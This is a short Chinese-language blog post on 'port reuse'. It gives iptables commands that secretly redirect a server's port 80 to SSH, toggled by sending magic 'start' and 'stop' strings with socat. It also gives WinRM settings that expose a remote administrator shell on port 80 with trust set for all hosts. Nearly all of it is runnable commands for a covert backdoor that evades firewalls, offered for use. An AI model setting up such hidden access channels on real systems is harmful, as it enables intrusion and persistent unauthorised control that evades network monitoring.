Windows - Linux端口複用

Linux

一:使用iptables進行端口複用,目測可以進行內外網端口繞過

1.1 設置端口複用鏈名 test

iptables -t nat -N test

1.2 端口複用規則

iptables -t nat -A test -p tcp -j REDIRECT --to-port 22
表示該規則爲流量轉發到22端口

1.3 設置規則生效開關信息爲start

iptables -A INPUT -p tcp -m string --string ‘start’ --algo bm -m recent --set --name test --rsource -j ACCEPT

1.4 設置規則失效開關信息爲stop

iptables -A INPUT -p tcp -m string --string ‘stop’ --algo bm -m recent --name test --remove -j ACCEPT

1.5 運行 表示經過80的流量會轉發到22端口

iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name test --rsource -j test
在這裏插入圖片描述

二:開啓利用

2.1 開啓複用信號

echo start | socat - tcp:remote_ip:80

2.2 ssh80端口登錄

ssh -p 80 root@remote_ip

2.3 關閉複用

echo stop | socat - tcp:192.168.28.128:80

Windows

一:Windows server 2012及以上,winrm默認就開啓

啓動服務
winrm quickconfig -q
新增80端口
winrm set winrm/config/service @{EnableCompatibilityHttpListener=“true”}
因此2012 winrm的默認端口5985仍然開啓,80端口借用iis服務也會開啓

二:windows 2008

啓用服務
winrm quickconfig -q
修改監聽端口
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port=“80”}
2008則只有80端口開啓

三:通過winrm連接遠程機器

啓動服務
winrm quickconfig -q
設置信任主機
winrm set winrm/config/Client @{TrustedHosts="*"}
連接使用
winrs -r:http://remote_ip -u:administrator -p:Passw0rd whoami
winrs -r:http://remote_ip -u:administrator -p:Passw0rd cmd 獲得交互shell

普通用戶無法進行winrm遠程,新建的用戶若要使用winrm,需要添加到管理員組
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章